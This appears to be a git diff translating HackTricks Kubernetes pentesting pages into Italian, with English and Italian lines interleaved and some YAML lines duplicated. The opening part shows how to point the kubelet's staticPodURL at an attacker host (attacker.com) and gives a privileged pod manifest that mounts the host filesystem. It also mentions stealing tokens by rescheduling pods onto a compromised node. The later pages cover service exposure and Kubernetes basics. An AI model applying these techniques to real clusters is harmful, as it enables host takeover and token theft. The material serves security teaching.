- Configurare il parametro **`--pod-manifest-path=/etc/kubernetes/manifests`** nel **servizio kubelet**, o nella **configurazione kubelet** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) e riavviare il servizio
- Creare la definizione nella **definizione del pod** in **`/etc/kubernetes/manifests`**
**Another more stealth way would be to:**
**Un altro modo più furtivo sarebbe:**
- Modify the param **`staticPodURL`** from **kubelet** config file and set something like `staticPodURL: http://attacker.com:8765/pod.yaml`. This will make the kubelet process create a **static pod** getting the **configuration from the indicated URL**.
**Example** of **pod** configuration to create a privilege pod in **kube-system** taken from [**here**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/):
- Modificare il parametro **`staticPodURL`** dal file di configurazione **kubelet** e impostare qualcosa come `staticPodURL: http://attacker.com:8765/pod.yaml`. Questo farà sì che il processo kubelet crei un **pod statico** ottenendo la **configurazione dall'URL indicato**.
**Esempio** di **configurazione del pod** per creare un pod privilegiato in **kube-system** preso da [**qui**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/):
```yaml
apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory
```
### Eliminare i pod + nodi non pianificabili
### Delete pods + unschedulable nodes
Se un attaccante ha **compromesso un nodo** e può **eliminare i pod** da altri nodi e **rendere altri nodi incapaci di eseguire pod**, i pod verranno rieseguiti nel nodo compromesso e sarà in grado di **rubare i token** eseguiti in essi.\
Per [**maggiori informazioni segui questi link**](abusing-roles-clusterroles-in-kubernetes/#delete-pods-+-unschedulable-nodes).
If an attacker has **compromised a node** and he can **delete pods** from other nodes and **make other nodes not able to execute pods**, the pods will be rerun in the compromised node and he will be able to **steal the tokens** run in them.\
For [**more info follow this links**](abusing-roles-clusterroles-in-kubernetes/#delete-pods-+-unschedulable-nodes).
## Automatic Tools
## Strumenti Automatici
- [**https://github.com/inguardians/peirates**](https://github.com/inguardians/peirates)
```
Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
@@ -389,11 +350,6 @@ Off-Menu +
[exit] Exit Peirates
```
- [**https://github.com/r0binak/MTKPI**](https://github.com/r0binak/MTKPI)
{{#include ../../banners/hacktricks-training.md}}

210
src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md
View File

@@ -1,219 +1,189 @@
# Exposing Services in Kubernetes
# Esposizione dei Servizi in Kubernetes
{{#include ../../banners/hacktricks-training.md}}
There are **different ways to expose services** in Kubernetes so both **internal** endpoints and **external** endpoints can access them. This Kubernetes configuration is pretty critical as the administrator could give access to **attackers to services they shouldn't be able to access**.
Ci sono **diversi modi per esporre i servizi** in Kubernetes in modo che sia gli **endpoint interni** che gli **endpoint esterni** possano accedervi. Questa configurazione di Kubernetes è piuttosto critica poiché l'amministratore potrebbe dare accesso a **attaccanti ai servizi a cui non dovrebbero poter accedere**.
### Automatic Enumeration
Before starting enumerating the ways K8s offers to expose services to the public, know that if you can list namespaces, services and ingresses, you can find everything exposed to the public with:
### Enumerazione Automatica
Prima di iniziare a enumerare i modi in cui K8s offre di esporre i servizi al pubblico, sappi che se puoi elencare namespace, servizi e ingressi, puoi trovare tutto ciò che è esposto al pubblico con:
```bash
kubectl get namespace -o custom-columns='NAME:.metadata.name' | grep -v NAME | while IFS='' read -r ns; do
echo "Namespace: $ns"
kubectl get service -n "$ns"
kubectl get ingress -n "$ns"
echo "=============================================="
echo ""
echo ""
echo "Namespace: $ns"
kubectl get service -n "$ns"
kubectl get ingress -n "$ns"
echo "=============================================="
echo ""
echo ""
done | grep -v "ClusterIP"
# Remove the last '| grep -v "ClusterIP"' to see also type ClusterIP
```
### ClusterIP
A **ClusterIP** service is the **default** Kubernetes **service**. It gives you a **service inside** your cluster that other apps inside your cluster can access. There is **no external access**.
However, this can be accessed using the Kubernetes Proxy:
Un **servizio ClusterIP** è il **servizio** predefinito di Kubernetes. Ti offre un **servizio interno** al tuo cluster a cui altre app all'interno del tuo cluster possono accedere. Non c'è **accesso esterno**.
Tuttavia, questo può essere accessibile utilizzando il Proxy di Kubernetes:
```bash
kubectl proxy --port=8080
```
Now, you can navigate through the Kubernetes API to access services using this scheme:
Ora puoi navigare attraverso l'API di Kubernetes per accedere ai servizi utilizzando questo schema:
`http://localhost:8080/api/v1/proxy/namespaces/<NAMESPACE>/services/<SERVICE-NAME>:<PORT-NAME>/`
For example you could use the following URL:
Ad esempio, potresti utilizzare il seguente URL:
`http://localhost:8080/api/v1/proxy/namespaces/default/services/my-internal-service:http/`
to access this service:
per accedere a questo servizio:
```yaml
apiVersion: v1
kind: Service
metadata:
name: my-internal-service
name: my-internal-service
spec:
selector:
app: my-app
type: ClusterIP
ports:
- name: http
port: 80
targetPort: 80
protocol: TCP
selector:
app: my-app
type: ClusterIP
ports:
- name: http
port: 80
targetPort: 80
protocol: TCP
```
_Questo metodo richiede di eseguire `kubectl` come **utente autenticato**._
_This method requires you to run `kubectl` as an **authenticated user**._
List all ClusterIPs:
Elenca tutti i ClusterIPs:
```bash
kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep ClusterIP
```
### NodePort
When **NodePort** is utilised, a designated port is made available on all Nodes (representing the Virtual Machines). **Traffic** directed to this specific port is then systematically **routed to the service**. Typically, this method is not recommended due to its drawbacks.
List all NodePorts:
Quando **NodePort** viene utilizzato, una porta designata è resa disponibile su tutti i nodi (che rappresentano le macchine virtuali). **Il traffico** diretto a questa porta specifica viene quindi sistematicamente **instradato al servizio**. Tipicamente, questo metodo non è raccomandato a causa dei suoi svantaggi.
Elenca tutti i NodePort:
```bash
kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep NodePort
```
An example of NodePort specification:
Un esempio di specifica NodePort:
```yaml
apiVersion: v1
kind: Service
metadata:
name: my-nodeport-service
name: my-nodeport-service
spec:
selector:
app: my-app
type: NodePort
ports:
- name: http
port: 80
targetPort: 80
nodePort: 30036
protocol: TCP
selector:
app: my-app
type: NodePort
ports:
- name: http
port: 80
targetPort: 80
nodePort: 30036
protocol: TCP
```
If you **don't specify** the **nodePort** in the yaml (it's the port that will be opened) a port in the **range 30000–32767 will be used**.
Se **non specifichi** il **nodePort** nel yaml (è la porta che sarà aperta) verrà utilizzata una porta nel **range 30000–32767**.
### LoadBalancer <a href="#id-0d96" id="id-0d96"></a>
Exposes the Service externally **using a cloud provider's load balancer**. On GKE, this will spin up a [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) that will give you a single IP address that will forward all traffic to your service. In AWS it will launch a Load Balancer.
Espone il Servizio esternamente **utilizzando il bilanciatore di carico di un fornitore di cloud**. Su GKE, questo avvierà un [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) che ti fornirà un singolo indirizzo IP che inoltrerà tutto il traffico al tuo servizio. In AWS lancerà un Load Balancer.
You have to pay for a LoadBalancer per exposed service, which can be expensive.
List all LoadBalancers:
Devi pagare per un LoadBalancer per ogni servizio esposto, il che può essere costoso.
Elenca tutti i LoadBalancers:
```bash
kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,EXTERNAL-IP:.status.loadBalancer.ingress[*],PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep LoadBalancer
```
### External IPs <a href="#external-ips" id="external-ips"></a>
> [!TIP]
> External IPs are exposed by services of type Load Balancers and they are generally used when an external Cloud Provider Load Balancer is being used.
> Gli IP esterni sono esposti dai servizi di tipo Load Balancers e vengono generalmente utilizzati quando si utilizza un Load Balancer di un Cloud Provider esterno.
>
> For finding them, check for load balancers with values in the `EXTERNAL-IP` field.
> Per trovarli, controlla i load balancers con valori nel campo `EXTERNAL-IP`.
Traffic that ingresses into the cluster with the **external IP** (as **destination IP**), on the Service port, will be **routed to one of the Service endpoints**. `externalIPs` are not managed by Kubernetes and are the responsibility of the cluster administrator.
In the Service spec, `externalIPs` can be specified along with any of the `ServiceTypes`. In the example below, "`my-service`" can be accessed by clients on "`80.11.12.10:80`" (`externalIP:port`)
Il traffico che entra nel cluster con l'**IP esterno** (come **IP di destinazione**), sulla porta del Servizio, sarà **instradato a uno degli endpoint del Servizio**. `externalIPs` non sono gestiti da Kubernetes e sono responsabilità dell'amministratore del cluster.
Nella specifica del Servizio, `externalIPs` possono essere specificati insieme a qualsiasi tipo di `ServiceTypes`. Nell'esempio seguente, "`my-service`" può essere accessibile dai client su "`80.11.12.10:80`" (`externalIP:port`)
```yaml
apiVersion: v1
kind: Service
metadata:
name: my-service
name: my-service
spec:
selector:
app: MyApp
ports:
- name: http
protocol: TCP
port: 80
targetPort: 9376
externalIPs:
- 80.11.12.10
selector:
app: MyApp
ports:
- name: http
protocol: TCP
port: 80
targetPort: 9376
externalIPs:
- 80.11.12.10
```
### ExternalName
[**From the docs:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) Services of type ExternalName **map a Service to a DNS name**, not to a typical selector such as `my-service` or `cassandra`. You specify these Services with the `spec.externalName` parameter.
This Service definition, for example, maps the `my-service` Service in the `prod` namespace to `my.database.example.com`:
[**Dalla documentazione:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) I servizi di tipo ExternalName **mappano un servizio a un nome DNS**, non a un selettore tipico come `my-service` o `cassandra`. Si specificano questi servizi con il parametro `spec.externalName`.
Questa definizione di servizio, ad esempio, mappa il servizio `my-service` nel namespace `prod` a `my.database.example.com`:
```yaml
apiVersion: v1
kind: Service
metadata:
name: my-service
namespace: prod
name: my-service
namespace: prod
spec:
type: ExternalName
externalName: my.database.example.com
type: ExternalName
externalName: my.database.example.com
```
Quando si cerca l'host `my-service.prod.svc.cluster.local`, il servizio DNS del cluster restituisce un record `CNAME` con il valore `my.database.example.com`. Accedere a `my-service` funziona allo stesso modo degli altri servizi, ma con la differenza cruciale che **la reindirizzazione avviene a livello DNS** piuttosto che tramite proxy o inoltro.
When looking up the host `my-service.prod.svc.cluster.local`, the cluster DNS Service returns a `CNAME` record with the value `my.database.example.com`. Accessing `my-service` works in the same way as other Services but with the crucial difference that **redirection happens at the DNS level** rather than via proxying or forwarding.
List all ExternalNames:
Elenca tutti gli ExternalNames:
```bash
kubectl get services --all-namespaces | grep ExternalName
```
### Ingress
Unlike all the above examples, **Ingress is NOT a type of service**. Instead, it sits **in front of multiple services and act as a “smart router”** or entrypoint into your cluster.
A differenza di tutti gli esempi sopra, **Ingress NON è un tipo di servizio**. Invece, si trova **davanti a più servizi e funge da “router intelligente”** o punto di ingresso nel tuo cluster.
You can do a lot of different things with an Ingress, and there are **many types of Ingress controllers that have different capabilities**.
Puoi fare molte cose diverse con un Ingress, e ci sono **molti tipi di controller Ingress che hanno capacità diverse**.
The default GKE ingress controller will spin up a [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) for you. This will let you do both path based and subdomain based routing to backend services. For example, you can send everything on foo.yourdomain.com to the foo service, and everything under the yourdomain.com/bar/ path to the bar service.
The YAML for a Ingress object on GKE with a [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) might look like this:
Il controller ingress predefinito di GKE avvierà un [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) per te. Questo ti permetterà di fare sia il routing basato su percorso che su sottodominio ai servizi di backend. Ad esempio, puoi inviare tutto su foo.yourdomain.com al servizio foo, e tutto sotto il percorso yourdomain.com/bar/ al servizio bar.
Il YAML per un oggetto Ingress su GKE con un [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) potrebbe apparire così:
```yaml
apiVersion: extensions/v1beta1
kind: Ingress
metadata:
name: my-ingress
name: my-ingress
spec:
backend:
serviceName: other
servicePort: 8080
rules:
- host: foo.mydomain.com
http:
paths:
- backend:
serviceName: foo
servicePort: 8080
- host: mydomain.com
http:
paths:
- path: /bar/*
backend:
serviceName: bar
servicePort: 8080
backend:
serviceName: other
servicePort: 8080
rules:
- host: foo.mydomain.com
http:
paths:
- backend:
serviceName: foo
servicePort: 8080
- host: mydomain.com
http:
paths:
- path: /bar/*
backend:
serviceName: bar
servicePort: 8080
```
List all the ingresses:
Elenca tutti gli ingressi:
```bash
kubectl get ingresses --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,RULES:spec.rules[*],STATUS:status'
```
Although in this case it's better to get the info of each one by one to read it better:
Sebbene in questo caso sia meglio ottenere le informazioni di ciascuno uno per uno per leggerle meglio:
```bash
kubectl get ingresses --all-namespaces -o=yaml
```
### References
### Riferimenti
- [https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0](https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0)
- [https://kubernetes.io/docs/concepts/services-networking/service/](https://kubernetes.io/docs/concepts/services-networking/service/)
{{#include ../../banners/hacktricks-training.md}}

568
src/pentesting-cloud/kubernetes-security/kubernetes-basics.md
View File

@@ -4,91 +4,90 @@
{{#include ../../banners/hacktricks-training.md}}
**The original author of this page is** [**Jorge**](https://www.linkedin.com/in/jorge-belmonte-a924b616b/) **(read his original post** [**here**](https://sickrov.github.io)**)**
**L'autore originale di questa pagina è** [**Jorge**](https://www.linkedin.com/in/jorge-belmonte-a924b616b/) **(leggi il suo post originale** [**qui**](https://sickrov.github.io)**)**
## Architecture & Basics
## Architettura & Fondamenti
### What does Kubernetes do?
### Cosa fa Kubernetes?
- Allows running container/s in a container engine.
- Schedule allows containers mission efficient.
- Keep containers alive.
- Allows container communications.
- Allows deployment techniques.
- Handle volumes of information.
- Consente di eseguire container in un motore di container.
- La pianificazione consente missioni efficienti per i container.
- Mantiene i container attivi.
- Consente comunicazioni tra container.
- Consente tecniche di distribuzione.
- Gestisce volumi di informazioni.
### Architecture
### Architettura
![](https://sickrov.github.io/media/Screenshot-68.jpg)
- **Node**: operating system with pod or pods.
- **Pod**: Wrapper around a container or multiple containers with. A pod should only contain one application (so usually, a pod run just 1 container). The pod is the way kubernetes abstracts the container technology running.
- **Service**: Each pod has 1 internal **IP address** from the internal range of the node. However, it can be also exposed via a service. The **service has also an IP address** and its goal is to maintain the communication between pods so if one dies the **new replacement** (with a different internal IP) **will be accessible** exposed in the **same IP of the service**. It can be configured as internal or external. The service also actuates as a **load balancer when 2 pods are connected** to the same service.\
When a **service** is **created** you can find the endpoints of each service running `kubectl get endpoints`
- **Kubelet**: Primary node agent. The component that establishes communication between node and kubectl, and only can run pods (through API server). The kubelet doesn’t manage containers that were not created by Kubernetes.
- **Kube-proxy**: is the service in charge of the communications (services) between the apiserver and the node. The base is an IPtables for nodes. Most experienced users could install other kube-proxies from other vendors.
- **Sidecar container**: Sidecar containers are the containers that should run along with the main container in the pod. This sidecar pattern extends and enhances the functionality of current containers without changing them. Nowadays, We know that we use container technology to wrap all the dependencies for the application to run anywhere. A container does only one thing and does that thing very well.
- **Node**: sistema operativo con pod o pods.
- **Pod**: involucro attorno a un container o più container. Un pod dovrebbe contenere solo un'applicazione (quindi di solito, un pod esegue solo 1 container). Il pod è il modo in cui Kubernetes astrae la tecnologia dei container in esecuzione.
- **Service**: Ogni pod ha 1 **indirizzo IP interno** dall'intervallo interno del nodo. Tuttavia, può essere anche esposto tramite un servizio. Il **servizio ha anche un indirizzo IP** e il suo obiettivo è mantenere la comunicazione tra i pod, quindi se uno muore il **nuovo sostituto** (con un IP interno diverso) **sarà accessibile** esposto nel **stesso IP del servizio**. Può essere configurato come interno o esterno. Il servizio agisce anche come un **bilanciatore di carico quando 2 pod sono connessi** allo stesso servizio.\
Quando un **servizio** è **creato** puoi trovare gli endpoint di ciascun servizio eseguendo `kubectl get endpoints`
- **Kubelet**: agente principale del nodo. Il componente che stabilisce la comunicazione tra il nodo e kubectl, e può eseguire solo pod (attraverso l'API server). Il kubelet non gestisce i container che non sono stati creati da Kubernetes.
- **Kube-proxy**: è il servizio responsabile delle comunicazioni (servizi) tra l'apiserver e il nodo. La base è un IPtables per i nodi. Gli utenti più esperti potrebbero installare altri kube-proxy di altri fornitori.
- **Sidecar container**: I container sidecar sono i container che dovrebbero essere eseguiti insieme al container principale nel pod. Questo modello sidecar estende e migliora la funzionalità dei container attuali senza modificarli. Oggi sappiamo che utilizziamo la tecnologia dei container per avvolgere tutte le dipendenze affinché l'applicazione possa essere eseguita ovunque. Un container fa solo una cosa e la fa molto bene.
- **Master process:**
- **Api Server:** Is the way the users and the pods use to communicate with the master process. Only authenticated request should be allowed.
- **Scheduler**: Scheduling refers to making sure that Pods are matched to Nodes so that Kubelet can run them. It has enough intelligence to decide which node has more available resources the assign the new pod to it. Note that the scheduler doesn't start new pods, it just communicate with the Kubelet process running inside the node, which will launch the new pod.
- **Kube Controller manager**: It checks resources like replica sets or deployments to check if, for example, the correct number of pods or nodes are running. In case a pod is missing, it will communicate with the scheduler to start a new one. It controls replication, tokens, and account services to the API.
- **etcd**: Data storage, persistent, consistent, and distributed. Is Kubernetes’s database and the key-value storage where it keeps the complete state of the clusters (each change is logged here). Components like the Scheduler or the Controller manager depends on this date to know which changes have occurred (available resourced of the nodes, number of pods running...)
- **Cloud controller manager**: Is the specific controller for flow controls and applications, i.e: if you have clusters in AWS or OpenStack.
- **Api Server:** È il modo in cui gli utenti e i pod comunicano con il processo master. Solo le richieste autenticate dovrebbero essere consentite.
- **Scheduler**: La pianificazione si riferisce a garantire che i Pod siano abbinati ai Node in modo che Kubelet possa eseguirli. Ha abbastanza intelligenza per decidere quale nodo ha più risorse disponibili e assegnare il nuovo pod ad esso. Nota che lo scheduler non avvia nuovi pod, comunica solo con il processo Kubelet in esecuzione all'interno del nodo, che lancerà il nuovo pod.
- **Kube Controller manager**: Controlla le risorse come i replica set o le distribuzioni per verificare se, ad esempio, il numero corretto di pod o nodi è in esecuzione. In caso di un pod mancante, comunicherà con lo scheduler per avviarne uno nuovo. Controlla la replicazione, i token e i servizi di account per l'API.
- **etcd**: Archiviazione dati, persistente, coerente e distribuita. È il database di Kubernetes e l'archiviazione chiave-valore in cui mantiene lo stato completo dei cluster (ogni modifica è registrata qui). Componenti come lo Scheduler o il Controller manager dipendono da questi dati per sapere quali modifiche sono avvenute (risorse disponibili dei nodi, numero di pod in esecuzione...)
- **Cloud controller manager**: È il controller specifico per il controllo del flusso e le applicazioni, ad esempio: se hai cluster in AWS o OpenStack.
Note that as the might be several nodes (running several pods), there might also be several master processes which their access to the Api server load balanced and their etcd synchronized.
Nota che poiché potrebbero esserci diversi nodi (che eseguono diversi pod), potrebbero esserci anche diversi processi master i cui accessi all'Api server sono bilanciati e il loro etcd sincronizzato.
**Volumes:**
**Volumi:**
When a pod creates data that shouldn't be lost when the pod disappear it should be stored in a physical volume. **Kubernetes allow to attach a volume to a pod to persist the data**. The volume can be in the local machine or in a **remote storage**. If you are running pods in different physical nodes you should use a remote storage so all the pods can access it.
Quando un pod crea dati che non dovrebbero essere persi quando il pod scompare, dovrebbero essere memorizzati in un volume fisico. **Kubernetes consente di allegare un volume a un pod per persistere i dati**. Il volume può essere nella macchina locale o in un **archiviazione remota**. Se stai eseguendo pod in nodi fisici diversi, dovresti utilizzare un'archiviazione remota in modo che tutti i pod possano accedervi.
**Other configurations:**
**Altre configurazioni:**
- **ConfigMap**: You can configure **URLs** to access services. The pod will obtain data from here to know how to communicate with the rest of the services (pods). Note that this is not the recommended place to save credentials!
- **Secret**: This is the place to **store secret data** like passwords, API keys... encoded in B64. The pod will be able to access this data to use the required credentials.
- **Deployments**: This is where the components to be run by kubernetes are indicated. A user usually won't work directly with pods, pods are abstracted in **ReplicaSets** (number of same pods replicated), which are run via deployments. Note that deployments are for **stateless** applications. The minimum configuration for a deployment is the name and the image to run.
- **StatefulSet**: This component is meant specifically for applications like **databases** which needs to **access the same storage**.
- **Ingress**: This is the configuration that is use to **expose the application publicly with an URL**. Note that this can also be done using external services, but this is the correct way to expose the application.
- If you implement an Ingress you will need to create **Ingress Controllers**. The Ingress Controller is a **pod** that will be the endpoint that will receive the requests and check and will load balance them to the services. the ingress controller will **send the request based on the ingress rules configured**. Note that the ingress rules can point to different paths or even subdomains to different internal kubernetes services.
- A better security practice would be to use a cloud load balancer or a proxy server as entrypoint to don't have any part of the Kubernetes cluster exposed.
- When request that doesn't match any ingress rule is received, the ingress controller will direct it to the "**Default backend**". You can `describe` the ingress controller to get the address of this parameter.
- `minikube addons enable ingress`
- **ConfigMap**: Puoi configurare **URL** per accedere ai servizi. Il pod otterrà dati da qui per sapere come comunicare con il resto dei servizi (pod). Nota che questo non è il posto consigliato per salvare le credenziali!
- **Secret**: Questo è il posto per **memorizzare dati segreti** come password, chiavi API... codificati in B64. Il pod sarà in grado di accedere a questi dati per utilizzare le credenziali richieste.
- **Deployments**: Qui vengono indicati i componenti da eseguire tramite Kubernetes. Un utente di solito non lavora direttamente con i pod, i pod sono astratti in **ReplicaSets** (numero di pod identici replicati), che vengono eseguiti tramite distribuzioni. Nota che le distribuzioni sono per applicazioni **stateless**. La configurazione minima per una distribuzione è il nome e l'immagine da eseguire.
- **StatefulSet**: Questo componente è specificamente destinato ad applicazioni come **database** che necessitano di **accedere alla stessa archiviazione**.
- **Ingress**: Questa è la configurazione utilizzata per **esporre l'applicazione pubblicamente con un URL**. Nota che questo può essere fatto anche utilizzando servizi esterni, ma questo è il modo corretto per esporre l'applicazione.
- Se implementi un Ingress dovrai creare **Ingress Controllers**. L'Ingress Controller è un **pod** che sarà l'endpoint che riceverà le richieste e le verificherà e le bilancerà ai servizi. L'Ingress Controller **invierà la richiesta in base alle regole di ingress configurate**. Nota che le regole di ingress possono puntare a percorsi diversi o persino a sottodomini diversi per diversi servizi Kubernetes interni.
- Una migliore pratica di sicurezza sarebbe utilizzare un bilanciatore di carico cloud o un server proxy come punto di ingresso per non avere alcuna parte del cluster Kubernetes esposta.
- Quando viene ricevuta una richiesta che non corrisponde a nessuna regola di ingress, l'Ingress Controller la dirigerà al "**Default backend**". Puoi `describe` l'Ingress Controller per ottenere l'indirizzo di questo parametro.
- `minikube addons enable ingress`
### PKI infrastructure - Certificate Authority CA:
### Infrastruttura PKI - Autorità di Certificazione CA:
![](https://sickrov.github.io/media/Screenshot-66.jpg)
- CA is the trusted root for all certificates inside the cluster.
- Allows components to validate to each other.
- All cluster certificates are signed by the CA.
- ETCd has its own certificate.
- types:
- apiserver cert.
- kubelet cert.
- scheduler cert.
- CA è la radice fidata per tutti i certificati all'interno del cluster.
- Consente ai componenti di convalidarsi a vicenda.
- Tutti i certificati del cluster sono firmati dalla CA.
- ETCd ha il proprio certificato.
- tipi:
- certificato apiserver.
- certificato kubelet.
- certificato scheduler.
## Basic Actions
## Azioni di Base
### Minikube
**Minikube** can be used to perform some **quick tests** on kubernetes without needing to deploy a whole kubernetes environment. It will run the **master and node processes in one machine**. Minikube will use virtualbox to run the node. See [**here how to install it**](https://minikube.sigs.k8s.io/docs/start/).
**Minikube** può essere utilizzato per eseguire alcuni **test rapidi** su Kubernetes senza dover distribuire un intero ambiente Kubernetes. Eseguirà i **processi master e nodo su una macchina**. Minikube utilizzerà VirtualBox per eseguire il nodo. Vedi [**qui come installarlo**](https://minikube.sigs.k8s.io/docs/start/).
```
$ minikube start
😄 minikube v1.19.0 on Ubuntu 20.04
✨ Automatically selected the virtualbox driver. Other choices: none, ssh
💿 Downloading VM boot image ...
> minikube-v1.19.0.iso.sha256: 65 B / 65 B [-------------] 100.00% ? p/s 0s
> minikube-v1.19.0.iso: 244.49 MiB / 244.49 MiB 100.00% 1.78 MiB p/s 2m17.
> minikube-v1.19.0.iso.sha256: 65 B / 65 B [-------------] 100.00% ? p/s 0s
> minikube-v1.19.0.iso: 244.49 MiB / 244.49 MiB 100.00% 1.78 MiB p/s 2m17.
👍 Starting control plane node minikube in cluster minikube
💾 Downloading Kubernetes v1.20.2 preload ...
> preloaded-images-k8s-v10-v1...: 491.71 MiB / 491.71 MiB 100.00% 2.59 MiB
> preloaded-images-k8s-v10-v1...: 491.71 MiB / 491.71 MiB 100.00% 2.59 MiB
🔥 Creating virtualbox VM (CPUs=2, Memory=3900MB, Disk=20000MB) ...
🐳 Preparing Kubernetes v1.20.2 on Docker 20.10.4 ...
▪ Generating certificates and keys ...
▪ Booting up control plane ...
▪ Configuring RBAC rules ...
▪ Generating certificates and keys ...
▪ Booting up control plane ...
▪ Configuring RBAC rules ...
🔎 Verifying Kubernetes components...
▪ Using image gcr.io/k8s-minikube/storage-provisioner:v5
▪ Using image gcr.io/k8s-minikube/storage-provisioner:v5
🌟 Enabled addons: storage-provisioner, default-storageclass
🏄 Done! kubectl is now configured to use "minikube" cluster and "default" namespace by defaul
@@ -106,11 +105,9 @@ $ minikube delete
🔥 Deleting "minikube" in virtualbox ...
💀 Removed all traces of the "minikube" cluster
```
### Kubectl Basics
**`Kubectl`** is the command line tool for kubernetes clusters. It communicates with the Api server of the master process to perform actions in kubernetes or to ask for data.
**`Kubectl`** è lo strumento da riga di comando per i cluster kubernetes. Comunica con il server Api del processo master per eseguire azioni in kubernetes o per richiedere dati.
```bash
kubectl version #Get client and server version
kubectl get pod
@@ -141,188 +138,172 @@ kubectl delete deployment mongo-depl
#Deploy from config file
kubectl apply -f deployment.yml
```
### Minikube Dashboard
The dashboard allows you to see easier what is minikube running, you can find the URL to access it in:
Il dashboard ti consente di vedere più facilmente cosa sta eseguendo minikube, puoi trovare l'URL per accedervi in:
```
minikube dashboard --url
🔌 Enabling dashboard ...
▪ Using image kubernetesui/dashboard:v2.3.1
▪ Using image kubernetesui/metrics-scraper:v1.0.7
▪ Using image kubernetesui/dashboard:v2.3.1
▪ Using image kubernetesui/metrics-scraper:v1.0.7
🤔 Verifying dashboard health ...
🚀 Launching proxy ...
🤔 Verifying proxy health ...
http://127.0.0.1:50034/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/
```
### Esempi di file di configurazione YAML
### YAML configuration files examples
Ogni file di configurazione ha 3 parti: **metadata**, **specifica** (cosa deve essere lanciato), **stato** (stato desiderato).\
All'interno della specifica del file di configurazione del deployment puoi trovare il template definito con una nuova struttura di configurazione che definisce l'immagine da eseguire:
Each configuration file has 3 parts: **metadata**, **specification** (what need to be launch), **status** (desired state).\
Inside the specification of the deployment configuration file you can find the template defined with a new configuration structure defining the image to run:
**Example of Deployment + Service declared in the same configuration file (from** [**here**](https://gitlab.com/nanuchi/youtube-tutorial-series/-/blob/master/demo-kubernetes-components/mongo.yaml)**)**
As a service usually is related to one deployment it's possible to declare both in the same configuration file (the service declared in this config is only accessible internally):
**Esempio di Deployment + Service dichiarati nello stesso file di configurazione (da** [**qui**](https://gitlab.com/nanuchi/youtube-tutorial-series/-/blob/master/demo-kubernetes-components/mongo.yaml)**)**
Poiché un servizio è solitamente correlato a un deployment, è possibile dichiarare entrambi nello stesso file di configurazione (il servizio dichiarato in questa configurazione è accessibile solo internamente):
```yaml
apiVersion: apps/v1
kind: Deployment
metadata:
name: mongodb-deployment
labels:
app: mongodb
name: mongodb-deployment
labels:
app: mongodb
spec:
replicas: 1
selector:
matchLabels:
app: mongodb
template:
metadata:
labels:
app: mongodb
spec:
containers:
- name: mongodb
image: mongo
ports:
- containerPort: 27017
env:
- name: MONGO_INITDB_ROOT_USERNAME
valueFrom:
secretKeyRef:
name: mongodb-secret
key: mongo-root-username
- name: MONGO_INITDB_ROOT_PASSWORD
valueFrom:
secretKeyRef:
name: mongodb-secret
key: mongo-root-password
replicas: 1
selector:
matchLabels:
app: mongodb
template:
metadata:
labels:
app: mongodb
spec:
containers:
- name: mongodb
image: mongo
ports:
- containerPort: 27017
env:
- name: MONGO_INITDB_ROOT_USERNAME
valueFrom:
secretKeyRef:
name: mongodb-secret
key: mongo-root-username
- name: MONGO_INITDB_ROOT_PASSWORD
valueFrom:
secretKeyRef:
name: mongodb-secret
key: mongo-root-password
---
apiVersion: v1
kind: Service
metadata:
name: mongodb-service
name: mongodb-service
spec:
selector:
app: mongodb
ports:
- protocol: TCP
port: 27017
targetPort: 27017
selector:
app: mongodb
ports:
- protocol: TCP
port: 27017
targetPort: 27017
```
**Esempio di configurazione del servizio esterno**
**Example of external service config**
This service will be accessible externally (check the `nodePort` and `type: LoadBlancer` attributes):
Questo servizio sarà accessibile esternamente (controlla gli attributi `nodePort` e `type: LoadBlancer`):
```yaml
---
apiVersion: v1
